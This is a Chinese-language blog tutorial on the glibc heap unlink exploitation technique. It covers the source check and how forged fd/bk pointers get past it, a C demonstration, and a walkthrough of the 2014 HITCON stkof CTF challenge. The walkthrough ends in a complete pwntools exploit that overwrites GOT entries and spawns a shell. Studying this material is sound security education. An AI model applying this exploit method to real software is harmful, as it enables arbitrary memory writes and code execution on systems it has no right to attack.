【堆漏洞-unlink】

unlink简介

unlink的过程含义

当一个堆块(非fastbin)释放时,libc会先看其相邻的堆块是否空闲,空闲的话就将这个相邻堆块从bins中取出,并与当前释放堆块合并,而这个bins中取出堆块的过程就是unlink。

unlink利用原理

unlink源码实现
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      
  malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else{
	FD->bk = BK;
	BK->fd = FD;
	........
}  

更改 chunk 的 fd 和 bk 为 chunk_ptr - 0x18 和 chunk_ptr - 0x10,即
(在chunk的堆块中做的变化)

  • FD_chunk = chunk->fd = chunk - 0x18 == ①
  • BK_chunk = chunk->bk = chunk - 0x10

那么就可以绕过第一个检查:

  • FD_chunk->bk = chunk - 0x18 + 0x18 = chunk
  • BK_chunk->fd = chunk - 0x10 + 0x10 = chunk

绕过第一个检查后:
(非chunk堆块中做的变化)

  • FD_chunk->bk = chunk = BK_chunk = chunk - 0x10
  • BK_chunk->fd = chunk = FD_chunk = chunk - 0x18 == ②

最终得到的结果(联系①②式)是:chunk = chunk - 0x18 = chunk->fd

因此最后我们只需要修改chunk的地址下内容,就可以对chunk-0x18地址进行任意写了


unlink示例

代码
演示unlink后实现了 chunk->bk = chunk,libc版本是基于2.23及以下版本,可以使用patchelf工具来修改libc版本

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

uint64_t *chunk0_ptr;
int main(){
    chunk0_ptr = (uint64_t*)malloc(0x80);
    uint64_t* chunk1_ptr = (uint64_t*)malloc(0x80);
    fprintf(stderr,"chunk0_ptr: %p -> %p\n",&chunk0_ptr,chunk0_ptr);
    fprintf(stderr,"victim chunk: %p -> %p\n\n",&chunk1_ptr,chunk1_ptr);

    /* chunk0_ptr[1] = 0x80;  // chunk0's fake size = 0x80, pass check  */
    chunk0_ptr[2] = (uint64_t) &chunk0_ptr - 0x18; 
    chunk0_ptr[3] = (uint64_t) &chunk0_ptr - 0x10;
    fprintf(stderr,"fake fd: %p = &chunk0_ptr - 0x18\n",(void* )chunk0_ptr[2]); 
    fprintf(stderr,"fake bk: %p = &chunk0_ptr - 0x10\n",(void* )chunk0_ptr[3]);

    uint64_t* chunk1_hdr = (void*)chunk1_ptr - 0x10;  // chunk1's size area
    chunk1_hdr[0] = 0x80;  // pre_size = 0x80, chunk0's fake size = 0x80
    chunk1_hdr[1] &= ~1;   // make chunk0 seem free

    /*int *t[10],i;            //tcache
    for(i=0;i<7;i++){
        t[i] = malloc(0x80);
    }
    for(i=0;i<7;i++){
        free(t[i]);
    }*/

    free(chunk1_ptr);      //unlink

    char victim_str[8] = "AAAAAAAA";
    chunk0_ptr[3] = (uint64_t)victim_str;
    fprintf(stderr,"old string: %s\n",victim_str);

    chunk0_ptr[0] = 0x42424242424242LL;
    fprintf(stderr,"new Value: %s\n",victim_str);

}

结果
victim_str是存放在chunk0_ptr[3]地址下,但通过修改 chunk0_ptr[0],victim_str发生了改变,证明了 chunk0 = chunk0 - 0x18
在这里插入图片描述
结论
只需要将上面的chunk0,即伪造的fd改为我们想要控制的目的地址-0x18,在实现unlink之后修改chunk0的fd就相当于修改目的地址下的内容



实例1 - 2014 HITCON stkof

函数功能分析
  1. alloc函数:fget接收size,malloc开辟size大小的堆空间,堆指针放入globals数组,打印堆指针在globals数组的索引
  2. fill函数:fget接收globals数组索引,接收size,在索引指向的堆指针下存放size大小的数据。没有限制size大小与malloc时的size一样,所以存在堆溢出漏洞。
  3. free_chunk函数:fget接收globals数组索引,free索引对应的堆指针,将堆指针设为0
  4. print函数:没有意义
基本思路
  1. 填充一个chunk伪造一个fake chunk,覆盖下一个chunk的size域伪造前一个chunk是我们伪造的新chunk并处于释放状态
  2. unlink修改控制地址,即globals中的堆指针发生改变
  3. 控制地址修改成功就可以依次修改堆指针为我们想要的地址,并在这些地址下任意写入内容

题目给了libc.so,用patchelf工具修改程序libc,并根据libc版本修改程序的ld版本

patchelf --replace-needed libc.so.6 你要换的libc的硬路径 ./pwn
patchelf --set-interpreter ld的硬路径 ./pwn
exp分析
  1. 开辟堆空间,这里开辟了3个堆空间,第一个堆空间用来填充fgets和printf分配(malloc)的缓冲区
	alloc(0x100)  #chunk1
    alloc(0x30)   #chunk2
    alloc(0x80)	  #chunk3

可以看到globals数组中的指针,chunk2和chunk3是才是连着的,可以实现覆盖

#globals
0x602140:	0x0000000000000000	0x00000000027aa020
0x602150:	0x00000000027aa540	0x00000000027aa580
  1. fill chunk2覆盖chunk3
    a) 填充chunk2伪造一个0x20大小的chunk,并为这个chunk写入fd与bk(后面要伪造这个chunk为free chunk)
    b) 接着填充的0x20用来通过伪造的chunk的chunk's prev_size pass check,后8个字节随意填充
    c) 覆盖chunk3的pre_size为0x30,size为0x90,这样可以伪造上一个chunk为free状态,free chunk3的时候,因为pre_size为0x30,向上找到的free chunk其实是我们伪造的chunk,而这个时候0x20的伪造chunk还会check 0x20之后的chunk (也就是0x20向下偏移的 “next chunk ”) 的pre_size是否是0x20,我们刚好也覆盖了伪造chunk后面为0x20,所以能通过这个 check
	pload = p64(0) + p64(0x20)  #fake chunk’s size域
    pload += p64(globals_2 - 0x18) + p64(globals_2 - 0x10)  #fd、bk; globals_2作为我们要控制(变化或修改)的地址
    pload += p64(0x20)  #fake pre_size to pass the check
    pload = pload.ljust(0x30,'a')

    pload += p64(0x30) + p64(0x90)  #overflow chunk3's size域
    #gdb.attach(p)
    fill(2,len(pload),pload)

覆盖后的堆情况:

#fill chunk2, overflow chunk3
0x27aa530:	0x0000000000000000	0x0000000000000041  --> chunk2
0x27aa540:	0x0000000000000000	0x0000000000000020  --> fake chunk
0x27aa550:	0x0000000000602138	0x0000000000602140
0x27aa560:	0x0000000000000020	0x6161616161616161
0x27aa570:	0x0000000000000030	0x0000000000000090   --> chunk3
0x27aa580:	0x0000000000000000	0x0000000000000000
  1. free chunk3,实现unlink
    我们的globals_2 = 0x602140 + 0x8*2 = 0x602150,unlink之后 *(globals_2) = globals_2 - 0x18 = 0x602138
	free(3)
	p.recvuntil("OK\n")  #将结束后打印"OK\n"接收掉

unlink之后的globals,globals[3] = 0,globals[2] = &globals_2 - 0x18,chunk2的堆指针放在0x602150地址下,之后如果我们编辑chunk2会先取到这个地址下的堆指针0x602138,然后写入chunk2的内容实际就写入到了0x602138地址下面,就可以修改globals中堆指针,然后向这些指针下任意写入内容

#globals
0x602140:	0x0000000000000000	0x00000000027aa020
0x602150:	0x0000000000602138	0x0000000000000000
  1. 获取put地址,修改chunk2内容,将globals数组的从索引0开始的堆指针依次改为 free.got、puts.got、atoi.got ,修改chunk0(free.got)地址下内容为puts.plt,调用free(1)时执行 puts(puts.got)得到puts真实地址
	# 0x602138地址开始填充以下pload
	pload = 'a'*8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(stkof.got['atoi']) #修改globals堆指针
    fill(2,len(pload),pload)

    pload = p64(stkof.plt['puts'])  #修改free.got地址下内容为puts.plt
    fill(0,len(pload),pload)

    free(1)  # puts(puts.got)得到puts地址
    puts_addr = p.recvuntil('\nOK\n',drop=True).ljust(8,'\x00')
    puts_addr = u64(puts_addr)

之后相继获取system和binsh地址即可

  1. 获取shell,因为上面free完之后就是fget接收新的choice然后是atoi(choice),所以之前我们将chunk2的堆指针改为atoi留在这里用,我们只需要修改chunk2将atoi.got下写入system地址,然后再fgets的时候输入binsh地址,最后就可以实现system(binsh)
	pload = p64(system)
    fill(2,len(pload),pload)  #修改chunk2,即atoi.got为system地址
    p.send(p64(binsh)) # 发送atoi参数binsh
    p.interactive()

完整EXP

from pwn import *

p = process('./stkof')
stkof = ELF('./stkof')
libc = ELF('./libc.so.6')
globals_2 = 0x602140 + 0x8*2

def alloc(size):
    p.sendline('1')
    p.sendline(str(size))
    p.recvuntil("OK\n")

def fill(idx,size,content):
    p.sendline("2")
    p.sendline(str(idx))
    p.sendline(str(size))
    p.send(content)
    p.recvuntil("OK\n")

def free(idx):
    p.sendline('3')
    p.sendline(str(idx))

def exp():
    gdb.attach(p)
    alloc(0x100)
    alloc(0x30)
    alloc(0x80)

    pload = p64(0) + p64(0x20)
    pload += p64(globals_2 - 0x18) + p64(globals_2 - 0x10)
    pload += p64(0x20)
    pload = pload.ljust(0x30,'a')

    pload += p64(0x30) + p64(0x90)
    #gdb.attach(p)
    fill(2,len(pload),pload)

    free(3)
    p.recvuntil("OK\n")

    pload = 'a'*8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(stkof.got['atoi'])
    fill(2,len(pload),pload)

    pload = p64(stkof.plt['puts'])
    fill(0,len(pload),pload)

    free(1)
    puts_addr = p.recvuntil('\nOK\n',drop=True).ljust(8,'\x00')
    puts_addr = u64(puts_addr)
    log.success('puts: ' + hex(puts_addr))
    base = puts_addr - libc.sym['puts']# -0xc0
    binsh = base + libc.search('/bin/sh').next()
    system = base + libc.sym['system']
    log.success('libc base: ' + hex(base))
    log.success('/bin/sh addr: ' + hex(binsh))
    log.success('system addr: ' + hex(system))

    pload = p64(system)
    fill(2,len(pload),pload)
    #gdb.attach(p)
    p.send(p64(binsh))
    p.interactive()

if __name__ == "__main__":
    exp()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值